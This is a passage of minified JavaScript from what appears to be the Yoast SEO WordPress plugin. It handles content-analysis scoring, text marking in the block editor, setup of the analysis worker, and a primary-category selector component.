Wt(e){jQuery("#wp-admin-bar-wpseo-menu .wpseo-score-icon").attr("title",e.screenReaderText).attr("class","wpseo-score-icon "+e.className).find(".wpseo-score-text").text(e.screenReaderText)}function Ht(){return(0,l.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}function Qt(){const e=Ht();return(0,l.get)(e,"contentLocale","en_US")}function Zt(){const e=Ht();return!0===(0,l.get)(e,"contentAnalysisActive",!1)}function Gt(){const e=Ht();return!0===(0,l.get)(e,"keywordAnalysisActive",!1)}function Jt(){const e=Ht();return!0===(0,l.get)(e,"inclusiveLanguageAnalysisActive",!1)}const Xt=window.yoast.featureFlag;function es(){}let ts=!1;function ss(e){return e.sort(((e,t)=>e._identifier.localeCompare(t._identifier)))}function ns(e,t,s,n,r){if(!ts)return;const i=qe.Paper.parse(t());e.analyze(i).then((o=>{const{result:{seo:a,readability:l,inclusiveLanguage:c}}=o;if(a){const e=a[""];e.results.forEach((e=>{e.getMarker=()=>()=>s(i,e.marks)})),e.results=ss(e.results),n.dispatch(fe.actions.setSeoResultsForKeyword(i.getKeyword(),e.results)),n.dispatch(fe.actions.setOverallSeoScore(e.score,i.getKeyword())),n.dispatch(fe.actions.refreshSnippetEditor()),r.saveScores(e.score,i.getKeyword())}l&&(l.results.forEach((e=>{e.getMarker=()=>()=>s(i,e.marks)})),l.results=ss(l.results),n.dispatch(fe.actions.setReadabilityResults(l.results)),n.dispatch(fe.actions.setOverallReadabilityScore(l.score)),n.dispatch(fe.actions.refreshSnippetEditor()),r.saveContentScore(l.score)),c&&(c.results.forEach((e=>{e.getMarker=()=>()=>s(i,e.marks)})),c.results=ss(c.results),n.dispatch(fe.actions.setInclusiveLanguageResults(c.results)),n.dispatch(fe.actions.setOverallInclusiveLanguageScore(c.score)),n.dispatch(fe.actions.refreshSnippetEditor()),r.saveInclusiveLanguageScore(c.score)),(0,h.doAction)("yoast.analysis.refresh",o,{paper:i,worker:e,collectData:t,applyMarks:s,store:n,dataCollector:r})})).catch(es)}const rs="yoast-measurement-element";function is(e){let t=document.getElementById(rs);return t||(t=function(){const e=document.createElement("div");return e.id=rs,e.style.position="absolute",e.style.left="-9999em",e.style.top=0,e.style.height=0,e.style.overflow="hidden",e.style.fontFamily="arial, sans-serif",e.style.fontSize="20px",e.style.fontWeight="400",document.body.appendChild(e),e}()),t.innerText=e,t.offsetWidth}const os=e=>(e=e.filter((e=>e.isValid))).map((e=>{const t=(0,tt.serialize)([e],{isInnerBlocks:!1});return e.blockLength=t&&t.length,e.innerBlocks&&(e.innerBlocks=os(e.innerBlocks)),e}));function as(e){return(0,l.isNil)(e)||(e/=10),function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,g.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,g.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,g.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,g.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,g.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,g.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,g.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,g.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,g.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,g.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,g.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,g.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(qe.interpreters.scoreToRating(e))}const{tmceId:ls}=t,cs=jQuery,ps=function(e){"object"==typeof CKEDITOR&&console.warn("YoastSEO currently doesn't support ckEditor. The content analysis currently only works with the HTML editor or TinyMCE."),this._data=e.data,this._store=e.store};ps.prototype.getData=function(){const e=this._data.getData(),t=this._store.getState();return{keyword:Gt()?this.getKeyword():"",meta:this.getMeta(),text:e.content,title:e.title,url:e.slug,excerpt:e.excerpt,snippetTitle:this.getSnippetTitle(),snippetMeta:this.getSnippetMeta(),snippetCite:this.getSnippetCite(),primaryCategory:this.getPrimaryCategory(),searchUrl:this.getSearchUrl(),postUrl:this.getPostUrl(),permalink:this.getPermalink(),titleWidth:is(this.getSnippetTitle()),metaTitle:(0,l.get)(t,["analysisData","snippet","title"],this.getSnippetTitle()),url:(0,l.get)(t,["snippetEditor","data","slug"],e.slug),meta:this.getMetaDescForAnalysis(t)}},ps.prototype.getKeyword=function(){return document.getElementById("yoast_wpseo_focuskw")&&document.getElementById("yoast_wpseo_focuskw").value||""},ps.prototype.getMetaDescForAnalysis=function(e){let t=(0,l.get)(e,["analysisData","snippet","description"],this.getSnippetMeta());return""!==wpseoScriptData.metabox.metaDescriptionDate&&(t=wpseoScriptData.metabox.metaDescriptionDate+" - "+t),t},ps.prototype.getMeta=function(){return document.getElementById("yoast_wpseo_metadesc")&&document.getElementById("yoast_wpseo_metadesc").value||""},ps.prototype.getText=function(){return qe.markers.removeMarks(Ct(ls))},ps.prototype.getTitle=function(){return document.getElementById("title")&&document.getElementById("title").value||""},ps.prototype.getUrl=function(){const e=(0,d.select)("core/editor");if(e&&e.getCurrentPostAttribute("slug"))return e.getCurrentPostAttribute("slug");var t="",s=cs("#new-post-slug");return 0<s.length?t=s.val():null!==document.getElementById("editable-post-name-full")&&(t=document.getElementById("editable-post-name-full").textContent),t},ps.prototype.getExcerpt=function(){var e="";return null!==document.getElementById("excerpt")&&(e=document.getElementById("excerpt")&&document.getElementById("excerpt").value||""),e},ps.prototype.getSnippetTitle=function(){return document.getElementById("yoast_wpseo_title")&&document.getElementById("yoast_wpseo_title").value||""},ps.prototype.getSnippetMeta=function(){return document.getElementById("yoast_wpseo_metadesc")&&document.getElementById("yoast_wpseo_metadesc").value||""},ps.prototype.getSnippetCite=function(){return this.getUrl()||""},ps.prototype.getPrimaryCategory=function(){var e="",t=cs("#category-all").find("ul.categorychecklist"),s=t.find("li input:checked");if(1===s.length)return this.getCategoryName(s.parent());var n=t.find(".wpseo-primary-term > label");return n.length?e=this.getCategoryName(n):e},ps.prototype.getSearchUrl=function(){return wpseoScriptData.metabox.search_url},ps.prototype.getPostUrl=function(){return wpseoScriptData.metabox.post_edit_url},ps.prototype.getPermalink=function(){var e=this.getUrl();return wpseoScriptData.metabox.base_url+e},ps.prototype.getCategoryName=function(e){var t=e.clone();return t.children().remove(),t.text().trim()},ps.prototype.setDataFromSnippet=function(e,t){switch(t){case"snippet_meta":document.getElementById("yoast_wpseo_metadesc").value=e;break;case"snippet_cite":if(this.leavePostNameUntouched)return void(this.leavePostNameUntouched=!1);null!==document.getElementById("post_name")&&(document.getElementById("post_name").value=e),null!==document.getElementById("editable-post-name")&&null!==document.getElementById("editable-post-name-full")&&(document.getElementById("editable-post-name").textContent=e,document.getElementById("editable-post-name-full").textContent=e);break;case"snippet_title":document.getElementById("yoast_wpseo_title").value=e}},ps.prototype.saveSnippetData=function(e){this.setDataFromSnippet(e.title,"snippet_title"),this.setDataFromSnippet(e.urlPath,"snippet_cite"),this.setDataFromSnippet(e.metaDesc,"snippet_meta")},ps.prototype.bindElementEvents=function(e){this.inputElementEventBinder(e),this.changeElementEventBinder(e)},ps.prototype.changeElementEventBinder=function(e){for(var t=["#yoast-wpseo-primary-category",'.categorychecklist input[name="post_category[]"]'],s=0;s<t.length;s++)cs(t[s]).on("change",e)},ps.prototype.inputElementEventBinder=function(e){for(var t=["excerpt","content","title"],s=0;s<t.length;s++)null!==document.getElementById(t[s])&&document.getElementById(t[s]).addEventListener("input",e);Nt(e,ls)},ps.prototype.saveScores=function(e,t){var s=as(e);jt("content",s.className),document.getElementById("yoast_wpseo_linkdex").value=e,""===t&&(s.className="na",s.screenReaderText=(0,g.__)("Enter a focus keyphrase to calculate the SEO score","wordpress-seo")),Kt(s),Wt(s),jt("keyword",s.className),jQuery(window).trigger("YoastSEO:numericScore",e)},ps.prototype.saveContentScore=function(e){var t=as(e);jt("content",t.className),Gt()||(Kt(t),Wt(t)),cs("#yoast_wpseo_content_score").val(e)},ps.prototype.saveInclusiveLanguageScore=function(e){const t=as(e);jt("inclusive-language",t.className),Gt()||Zt()||(Kt(t),Wt(t)),cs("#yoast_wpseo_inclusive_language_score").val(e)};const ds=ps;class us{constructor(){this._callbacks=[],this.register=this.register.bind(this)}register(e){(0,l.isFunction)(e)&&this._callbacks.push(e)}getData(){let e={};return this._callbacks.forEach((t=>{e=(0,l.merge)(e,t())})),e}}window.wp.annotations;const hs=function(e){return(0,l.uniq)((0,l.flatten)(e.map((e=>{if(!(0,l.isUndefined)(e.getFieldsToMark()))return e.getFieldsToMark()}))))},gs=window.wp.richText,ms=/(<([a-z]|\/)[^<>]+>)/gi,{htmlEntitiesRegex:ys}=qe.helpers.htmlEntities,fs=e=>{let t=0;return(0,l.forEachRight)(e,(e=>{const[s]=e;let n=s.length;/^<\/?br/.test(s)&&(n-=1),t+=n})),t},ws="<yoastmark class='yoast-text-mark'>",bs="</yoastmark>",_s='<yoastmark class="yoast-text-mark">';function ks(e,t,s,n,r){const i=n.clientId,o=(0,gs.create)({html:e,multilineTag:s.multilineTag,multilineWrapperTag:s.multilineWrapperTag}).text;return(0,l.flatMap)(r,(s=>{let r;return r=s.hasBlockPosition&&s.hasBlockPosition()?function(e,t,s,n,r){if(t===e.getBlockClientId()){let t=e.getBlockPositionStart(),i=e.getBlockPositionEnd();if(e.isMarkForFirstBlockSection()){const e=((e,t,s)=>{const n="yoast/faq-block"===s?'<strong class="schema-faq-question">':'<strong class="schema-how-to-step-name">';return{blockStartOffset:e-=n.length,blockEndOffset:t-=n.length}})(t,i,s);t=e.blockStartOffset,i=e.blockEndOffset}if(n.slice(t,i)===r.slice(t,i))return[{startOffset:t,endOffset:i}];const o=((e,t,s)=>{const n=s.slice(0,e),r=s.slice(0,t),i=((e,t,s,n)=>{const r=[...e.matchAll(ms)];s-=fs(r);const i=[...t.matchAll(ms)];return{blockStartOffset:s,blockEndOffset:n-=fs(i)}})(n,r,e,t),o=((e,t,s,n)=>{let r=[...e.matchAll(ys)];return(0,l.forEachRight)(r,(e=>{const[,t]=e;s-=t.length})),r=[...t.matchAll(ys)],(0,l.forEachRight)(r,(e=>{const[,t]=e;n-=t.length})),{blockStartOffset:s,blockEndOffset:n}})(n,r,e=i.blockStartOffset,t=i.blockEndOffset);return{blockStartOffset:e=o.blockStartOffset,blockEndOffset:t=o.blockEndOffset}})(t,i,n);return[{startOffset:o.blockStartOffset,endOffset:o.blockEndOffset}]}return[]}(s,i,n.name,e,o):function(e,t){const s=t.getOriginal().replace(/(<([^>]+)>)/gi,""),n=t.getMarked().replace(/(<(?!\/?yoastmark)[^>]+>)/gi,""),r=function(e,t,s=!0){const n=[];if(0===e.length)return n;let r,i=0;for(s||(t=t.toLowerCase(),e=e.toLowerCase());(r=e.indexOf(t,i))>-1;)n.push(r),i=r+t.length;return n}(e,s);if(0===r.length)return[];const i=function(e){let t=e.indexOf(ws);const s=t>=0;s||(t=e.indexOf(_s));let n=null;const r=[];for(;t>=0;){if(n=(e=s?e.replace(ws,""):e.replace(_s,"")).indexOf(bs),n<t)return[];e=e.replace(bs,""),r.push({startOffset:t,endOffset:n}),t=s?e.indexOf(ws):e.indexOf(_s),n=null}return r}(n),o=[];return i.forEach((e=>{r.forEach((n=>{const r=n+e.startOffset;let i=n+e.endOffset;0===e.startOffset&&e.endOffset===t.getOriginal().length&&(i=n+s.length),o.push({startOffset:r,endOffset:i})}))})),o}(o,s),r?r.map((e=>({...e,block:i,richTextIdentifier:t}))):[]}))}const vs=e=>e[0].toUpperCase()+e.slice(1),xs=(e,t,s,n,r)=>(e=e.map((e=>{const i=`${e.id}-${r[0]}`,o=`${e.id}-${r[1]}`,a=vs(r[0]),l=vs(r[1]),c=e[`json${a}`],p=e[`json${l}`],{marksForFirstSection:d,marksForSecondSection:u}=((e,t)=>({marksForFirstSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&e.isMarkForFirstBlockSection():e)),marksForSecondSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&!e.isMarkForFirstBlockSection():e))}))(t,e),h=ks(c,i,s,n,d),g=ks(p,o,s,n,u);return h.concat(g)})),(0,l.flattenDeep)(e)),Es="yoast";let Ss=[];const Rs={"core/paragraph":[{key:"content"}],"core/list":[{key:"values",multilineTag:"li",multilineWrapperTag:["ul","ol"]}],"core/list-item":[{key:"content"}],"core/heading":[{key:"content"}],"core/audio":[{key:"caption"}],"core/embed":[{key:"caption"}],"core/gallery":[{key:"caption"}],"core/image":[{key:"caption"}],"core/table":[{key:"caption"}],"core/video":[{key:"caption"}],"yoast/faq-block":[{key:"questions"}],"yoast/how-to-block":[{key:"steps"},{key:"jsonDescription"}]};function Cs(){const e=Ss.shift();e&&((0,d.dispatch)("core/annotations").__experimentalAddAnnotation(e),Ps())}function Ps(){(0,l.isFunction)(window.requestIdleCallback)?window.requestIdleCallback(Cs,{timeout:1e3}):setTimeout(Cs,150)}const Ts=(e,t)=>{return(0,l.flatMap)((s=e.name,Rs.hasOwnProperty(s)?Rs[s]:[]),(s=>"yoast/faq-block"===e.name?((e,t,s)=>{const n=t.attributes[e.key];return 0===n.length?[]:xs(n,s,e,t,["question","answer"])})(s,e,t):"yoast/how-to-block"===e.name?((e,t,s)=>{const n=t.attributes[e.key];if(n&&0===n.length)return[];const r=[];return"steps"===e.key&&r.push(xs(n,s,e,t,["name","text"])),"jsonDescription"===e.key&&(s=s.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?!e.getBlockAttributeId():e)),r.push(ks(n,"description",e,t,s))),(0,l.flattenDeep)(r)})(s,e,t):function(e,t,s){const n=e.key,r=((e,t)=>{const s=e.attributes[t];return"string"==typeof s?s:(s||"").toString()})(t,n);return ks(r,n,e,t,s)}(s,e,t)));var s};function As(e,t){return(0,l.flatMap)(e,(e=>{const s=function(e){return e.innerBlocks.length>0}(e)?As(e.innerBlocks,t):[];return Ts(e,t).concat(s)}))}function Os(e){Ss=[],(0,d.dispatch)("core/annotations").__experimentalRemoveAnnotationsBySource(Es);const t=hs(e);if(0===e.length)return;let s=(0,d.select)("core/block-editor").getBlocks();var n;t.length>0&&(s=s.filter((e=>t.some((t=>"core/"+t===e.name))))),n=As(s,e),Ss=n.map((e=>({blockClientId:e.block,source:Es,richTextIdentifier:e.richTextIdentifier,range:{start:e.startOffset,end:e.endOffset}}))),Ps()}function Is(e,t){let s;Rt(vt)&&((0,l.isUndefined)(s)&&(s=mt(tinyMCE.get(vt))),s(e,t)),(0,d.select)("core/block-editor")&&(0,l.isFunction)((0,d.select)("core/block-editor").getBlocks)&&(0,d.select)("core/annotations")&&(0,l.isFunction)((0,d.dispatch)("core/annotations").__experimentalAddAnnotation)&&(function(e,t){tinyMCE.editors.map((e=>mt(e))).forEach((s=>s(e,t)))}(e,t),Os(t)),(0,h.doAction)("yoast.analysis.applyMarks",t)}function Ls(){const e=(0,d.select)("yoast-seo/editor").isMarkingAvailable(),t=(0,d.select)("yoast-seo/editor").getMarkerPauseStatus();return!e||t?l.noop:Is}var Ms=jQuery;function Ns(e,t,s,n,r){this._scriptUrl=n,this._options={usedKeywords:t.keyword_usage,usedKeywordsPostTypes:t.keyword_usage_post_types,searchUrl:t.search_url,postUrl:t.post_edit_url},this._keywordUsage=t.keyword_usage,this._usedKeywordsPostTypes=t.keyword_usage_post_types,this._postID=Ms("#post_ID, [name=tag_ID]").val(),this._taxonomy=Ms("[name=taxonomy]").val()||"",this._nonce=r,this._ajaxAction=e,this._refreshAnalysis=s,this._initialized=!1}Ns.prototype.init=function(){const{worker:e}=window.YoastSEO.analysis;this.requestKeywordUsage=(0,l.debounce)(this.requestKeywordUsage.bind(this),500),e.loadScript(this._scriptUrl).then((()=>{e.sendMessage("initialize",this._options,"used-keywords-assessment")})).then((()=>{this._initialized=!0,(0,l.isEqual)(this._options.usedKeywords,this._keywordUsage)?this._refreshAnalysis():e.sendMessage("updateKeywordUsage",this._keywordUsage,"used-keywords-assessment").then((()=>this._refreshAnalysis()))})).catch((e=>console.error(e)))},Ns.prototype.setKeyword=function(e){(0,l.has)(this._keywordUsage,e)||this.requestKeywordUsage(e)},Ns.prototype.requestKeywordUsage=function(e){Ms.post(ajaxurl,{action:this._ajaxAction,post_id:this._postID,keyword:e,taxonomy:this._taxonomy,nonce:this._nonce},this.updateKeywordUsage.bind(this,e),"json")},Ns.prototype.updateKeywordUsage=function(e,t){const{worker:s}=window.YoastSEO.analysis,n=t.keyword_usage,r=t.post_types;n&&(0,l.isArray)(n)&&(this._keywordUsage[e]=n,this._usedKeywordsPostTypes[e]=r,this._initialized&&s.sendMessage("updateKeywordUsage",{usedKeywords:this._keywordUsage,usedKeywordsPostTypes:this._usedKeywordsPostTypes},"used-keywords-assessment").then((()=>this._refreshAnalysis())))};const{setFocusKeyword:Bs,updateData:Ds,setCornerstoneContent:Fs,refreshSnippetEditor:$s,setReadabilityResults:Us,setSeoResultsForKeyword:qs}=fe.actions;function js(e,s,r){if("undefined"==typeof wpseoScriptData)return;let i,o,a,c;const p=new us;function u(e){return""===e.responseText?o.val():jQuery("<div>"+e.responseText+"</div>").find("#editable-post-name-full").text()}function g(){const e={};return Gt()&&(e.output="does-not-really-exist-but-it-needs-something"),Zt()&&(e.contentOutput="also-does-not-really-exist-but-it-needs-something"),e}function m(e){(0,l.isUndefined)(e.seoAssessorPresenter)||(e.seoAssessorPresenter.render=function(){}),(0,l.isUndefined)(e.contentAssessorPresenter)||(e.contentAssessorPresenter.render=function(){},e.contentAssessorPresenter.renderIndividualRatings=function(){})}let y;function f(e,t){const s=y||"";y=e.getState().analysisData.snippet,!(0,je.isShallowEqualObjects)(s,y)&&t()}function w(){return(0,d.select)("core/edit-post").getEditorMode()}jQuery(document).on("ajaxComplete",(function(e,t,n){if("/admin-ajax.php"===n.url.substring(n.url.length-15)&&"string"==typeof n.data&&-1!==n.data.indexOf("action=sample-permalink")){c.leavePostNameUntouched=!0;const e={slug:u(t)};s.dispatch(Ds(e))}})),function(){if(i=e("#wpseo_meta"),Et(s),Mt(),function(){const e=new _t;e.isClassicEditorHidden()&&Tt(),e.vcActive?Tt():e.listen({classicEditorHidden:()=>{Tt()},classicEditorShown:()=>{Lt()||At()}})}(),0===i.length)return;c=function(e){const t=new ds({data:e,store:s});return t.leavePostNameUntouched=!1,t}(r),Vt();const u=function(t){const s={elementTarget:[vt,"yoast_wpseo_focuskw_text_input","yoast_wpseo_metadesc","excerpt","editable-post-name","editable-post-name-full"],targets:g(),callbacks:{getData:c.getData.bind(c)},locale:wpseoScriptData.metabox.contentLocale,marker:Ls(),contentAnalysisActive:Zt(),keywordAnalysisActive:Gt(),debouncedRefresh:!1,researcher:new window.yoast.Researcher.default};return Gt()&&(t.dispatch(Bs(e("#yoast_wpseo_focuskw").val())),s.callbacks.saveScores=c.saveScores.bind(c),s.callbacks.updatedKeywordsResults=function(e){const s=t.getState().focusKeyword;t.dispatch(qs(s,e)),t.dispatch($s())}),Zt()&&(s.callbacks.saveContentScore=c.saveContentScore.bind(c),s.callbacks.updatedContentResults=function(e){t.dispatch(Us(e)),t.dispatch($s())}),o=e("#title"),s}(s);a=new qe.App(u),window.YoastSEO=window.YoastSEO||{},window.YoastSEO.app=a,window.YoastSEO.store=s,window.YoastSEO.analysis={},window.YoastSEO.analysis.worker=function(){const e=(0,l.get)(window,["wpseoScriptData","analysis","worker","url"],"analysis-worker.js"),t=(0,qe.createWorker)(e),s=(0,l.get)(window,["wpseoScriptData","analysis","worker","dependencies"],[]),n=[];for(const e in s){if(!Object.prototype.hasOwnProperty.call(s,e))continue;const t=window.document.getElementById(`${e}-js-translations`);if(!t)continue;const r=t.innerHTML.slice(214),i=r.indexOf(","),o=r.slice(0,i-1);try{const e=JSON.parse(r.slice(i+1,-4));n.push([o,e])}catch(t){console.warn(`Failed to parse translation data for ${e} to send to the Yoast SEO worker`);continue}}return t.postMessage({dependencies:s,translations:n}),new qe.AnalysisWorkerWrapper(t)}(),window.YoastSEO.analysis.collectData=()=>function(e,t,s,n,r){const i=(0,l.cloneDeep)(t.getState());(0,l.merge)(i,s.getData());const o=e.getData();let a=null;r&&(a=r.getBlocks()||[],a=os(a));const c={text:o.content,textTitle:o.title,keyword:i.focusKeyword,synonyms:i.synonyms,description:i.analysisData.snippet.description||i.snippetEditor.data.description,title:i.analysisData.snippet.title||i.snippetEditor.data.title,slug:i.snippetEditor.data.slug,permalink:i.settings.snippetEditor.baseUrl+i.snippetEditor.data.slug,wpBlocks:a,date:i.settings.snippetEditor.date};n.loaded&&(c.title=n._applyModifications("data_page_title",c.title),c.title=n._applyModifications("title",c.title),c.description=n._applyModifications("data_meta_desc",c.description),c.text=n._applyModifications("content",c.text),c.wpBlocks=n._applyModifications("wpBlocks",c.wpBlocks));const p=i.analysisData.snippet.filteredSEOTitle;return c.titleWidth=is(p||i.snippetEditor.data.title),c.locale=Qt(),c.writingDirection=function(){let e="LTR";return Ht().isRtl&&(e="RTL"),e}(),c.shortcodes=window.wpseoScriptData.analysis.plugins.shortcodes?window.wpseoScriptData.analysis.plugins.shortcodes.wpseo_shortcode_tags:[],c.isFrontPage="1"===(0,l.get)(window,"wpseoScriptData.isFrontPage","0"),qe.Paper.parse((0,h.applyFilters)("yoast.analysis.data",c))}(r,s,p,a.pluggable,(0,d.select)("core/block-editor")),window.YoastSEO.analysis.applyMarks=(e,t)=>Ls()(e,t),window.YoastSEO.app.refresh=(0,l.debounce)((()=>ns(window.YoastSEO.analysis.worker,window.YoastSEO.analysis.collectData,window.YoastSEO.analysis.applyMarks,s,c)),500),window.YoastSEO.app.registerCustomDataCallback=p.register,window.YoastSEO.app.pluggable=new Bt(window.YoastSEO.app.refresh),window.YoastSEO.app.registerPlugin=window.YoastSEO.app.pluggable._registerPlugin,window.YoastSEO.app.pluginReady=window.YoastSEO.app.pluggable._ready,window.YoastSEO.app.pluginReloaded=window.YoastSEO.app.pluggable._reloaded,window.YoastSEO.app.registerModification=window.YoastSEO.app.pluggable._registerModification,window.YoastSEO.app.registerAssessment=(e,t,s)=>{if(!(0,l.isUndefined)(a.seoAssessor))return window.YoastSEO.app.pluggable._registerAssessment(a.defaultSeoAssessor,e,t,s)&&window.YoastSEO.app.pluggable._registerAssessment(a.cornerStoneSeoAssessor,e,t,s)},window.YoastSEO.app.changeAssessorOptions=function(e){window.YoastSEO.analysis.worker.initialize(e).catch(es),window.YoastSEO.app.refresh()},function(e,t,s){const n=Ht();if(!n.previouslyUsedKeywordActive)return;const r=new Ns("get_focus_keyword_usage_and_post_types",n,e,(0,l.get)(window,["wpseoScriptData","analysis","worker","keywords_assessment_url"],"used-keywords-assessment.js"),(0,l.get)(window,["wpseoScriptData","usedKeywordsNonce"],""));r.init();let i={};s.subscribe((()=>{const e=s.getState()||{};e.focusKeyword!==i.focusKeyword&&(i=e,r.setKeyword(e.focusKeyword))}))}(a.refresh,0,s),s.subscribe(f.bind(null,s,a.refresh)),window.YoastSEO.analyzerArgs=u,window.YoastSEO.wp={},window.YoastSEO.wp.replaceVarsPlugin=new et(a,s),function(e,t){let s=[];s=(0,h.applyFilters)("yoast.analysis.shortcodes",s);const n=wpseoScriptData.analysis.plugins.shortcodes.wpseo_shortcode_tags;s=s.filter((e=>n.includes(e))),s.length>0&&(t.dispatch(lt(s)),window.YoastSEO.wp.shortcodePlugin=new ot({registerPlugin:e.registerPlugin,registerModification:e.registerModification,pluginReady:e.pluginReady,pluginReloaded:e.pluginReloaded},s))}(a,s),Ue()&&new st(a.registerPlugin,a.registerModification,window.YoastSEO.app.refresh).register(),wpseoScriptData.metabox.markdownEnabled&&new dt(a.registerPlugin,a.registerModification).register(),window.YoastSEO.wp._tinyMCEHelper=t,Gt()&&function(t){const s=as(e("#yoast_wpseo_linkdex").val());Kt(s),Wt(s),t.updateScore("keyword",s.className)}(n),Zt()&&function(t){const s=as(e("#yoast_wpseo_content_score").val());Wt(s),t.updateScore("content",s.className)}(n),Jt()&&function(t){const s=as(e("#yoast_wpseo_inclusive_language_score").val());Wt(s),t.updateScore("inclusive-language",s.className)}(n),window.YoastSEO.analysis.worker.initialize(function(e={}){const t={locale:Qt(),contentAnalysisActive:Zt(),keywordAnalysisActive:Gt(),inclusiveLanguageAnalysisActive:Jt(),defaultQueryParams:(0,l.get)(window,["wpseoAdminL10n","default_query_params"],{}),logLevel:(0,l.get)(window,["wpseoScriptData","analysis","worker","log_level"],"ERROR"),enabledFeatures:(0,Xt.enabledFeatures)()};return(0,l.merge)(t,e)}()).then((()=>{jQuery(window).trigger("YoastSEO:ready")})).catch(es),c.bindElementEvents((0,l.debounce)((()=>ns(window.YoastSEO.analysis.worker,window.YoastSEO.analysis.collectData,window.YoastSEO.analysis.applyMarks,s,c)),500)),m(a);const y=a.initAssessorPresenters.bind(a);a.initAssessorPresenters=function(){y(),m(a)},r.setRefresh&&r.setRefresh(a.refresh);let b={title:(_=c).getSnippetTitle(),slug:_.getSnippetCite(),description:_.getSnippetMeta()};var _;const k=function(e){const t={};if((0,l.isUndefined)(e))return t;t.title=e.title_template;const s=e.metadesc_template;return(0,l.isEmpty)(s)||(t.description=s),t}(wpseoScriptData.metabox);b=function(e,t){const s={...e};return(0,l.forEach)(t,((t,n)=>{(0,l.has)(e,n)&&""===e[n]&&(s[n]=t)})),s}(b,k),s.dispatch(Ds(b)),s.dispatch(Fs("1"===document.getElementById("yoast_wpseo_is_cornerstone").value));let v=s.getState().focusKeyword;Dt(window.YoastSEO.analysis.worker.runResearch,s,v);const x=(0,l.debounce)((()=>{a.refresh()}),50);let E=null;if(s.subscribe((()=>{const t=s.getState().focusKeyword;v!==t&&(v=t,Dt(window.YoastSEO.analysis.worker.runResearch,s,v),e("#yoast_wpseo_focuskw").val(v),x());const n=function(e){const t=e.getState().snippetEditor.data;return{title:t.title,slug:t.slug,description:t.description}}(s),r=function(e,t){const s={...e};return(0,l.forEach)(t,((t,n)=>{(0,l.has)(e,n)&&e[n].trim()===t&&(s[n]="")})),s}(n,k);b.title!==n.title&&c.setDataFromSnippet(r.title,"snippet_title"),b.slug!==n.slug&&c.setDataFromSnippet(r.slug,"snippet_cite"),b.description!==n.description&&c.setDataFromSnippet(r.description,"snippet_meta");const i=s.getState();E!==i.isCornerstone&&(E=i.isCornerstone,document.getElementById("yoast_wpseo_is_cornerstone").value=i.isCornerstone,a.changeAssessorOptions({useCornerstone:i.isCornerstone})),b.title=n.title,b.slug=n.slug,b.description=n.description})),Ue()){let e=w();(0,d.subscribe)((()=>{const t=w();t!==e&&(e=t)}))}ts=!0,window.YoastSEO.app.refresh()}()}window.YoastReplaceVarPlugin=et,window.YoastShortcodePlugin=at;const zs=window.yoast.styledComponents;var Ys=s.n(zs);const Vs=window.wp.compose,Ks=({id:e,value:t,terms:s,label:n,onChange:r})=>{const i=(0,u.useCallback)((e=>{r(parseInt(e,10))}),[r]);return(0,c.createElement)(p.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,id:e,label:n,value:t,onChange:i,options:s.map((e=>({label:(0,l.unescape)(e.name),value:e.id})))})};Ks.propTypes={terms:f().arrayOf(f().shape({id:f().number.isRequired,name:f().string.isRequired})),onChange:f().func.isRequired,id:f().string,label:f().string,value:f().number};const Ws=Ks,Hs=Ys().div`
	padding-top: 16px;
`;class Qs extends u.Component{constructor(e){super(e),this.onChange=this.onChange.bind(this),this.updateReplacementVariable=this.updateReplacementVariable.bind(this);const{fieldId:t,name:s}=e.taxonomy;this.input=document.getElementById(t),e.setPrimaryTaxonomyId(s,parseInt(this.input.value,10)),this.state={selectedTerms:[],terms:[]}}componentDidMount(){this.fetchTerms()}componentDidUpdate(e,t){if(e.selectedTermIds.length<this.props.selectedTermIds.length){const t=(0,l.difference)(this.props.selectedTermIds,e.selectedTermIds)[0];if(!this.termIsAvailable(t))return void this.fetchTerms()}e.selectedTermIds!==this.props.selectedTermIds&&this.updateSelectedTerms(this.state.terms,this.props.selectedTermIds),t.selectedTerms!==this.state.selectedTerms&&this.handleSelectedTermsChange()}handleSelectedTermsChange(){const{selectedTerms:e}=this.state,{primaryTaxonomyId:t}=this.props;e.find((e=>e.id===t))||this.onChange(e.length?e[0].id:-1)}termIsAvailable(e){return!!this.state.terms.find((t=>t.id===e))}fetchTerms(){const{taxonomy:e}=this.props;e&&(this.fetchRequest=Oe()({path:(0,ve.addQueryArgs)(`/wp/v2/${e.restBase}`,{per_page:-1,orderby:"count",order:"desc",_fields:"id,name"})}),this.fetchRequest.then((e=>{const t=this.state;this.setState({terms:e,selectedTerms:this.getSelectedTerms(e,this.props.selectedTermIds)},(()=>{0===t.terms.length&&this.state.terms.length>0&&this.updateReplacementVariable(this.props.primaryTaxonomyId)}))})))}getSelectedTerms(e,t){return e.filter((e=>t.includes(e.id)))}updateSelectedTerms(e,t){const s=this.getSelectedTerms(e,t);this.setState({selectedTerms:s})}onChange(e){const{name:t}=this.props.taxonomy;this.updateReplacementVariable(e),this.props.setPrimaryTaxonomyId(t,e),this.input.value=-1===e?"":e}updateReplacementVariable(e){if("category"!==this.props.taxonomy.name)return;const t=this.state.selectedTerms.find((t=>t.id===e));this.props.updateReplacementVariable(`primary_${this.props.taxonomy.name}`,t?t.name:"")}render(){const{primaryTaxonomyId:e,taxonomy:t,learnMoreLink:s}=this.props;if(this.state.selectedTerms.length<2)return null;const 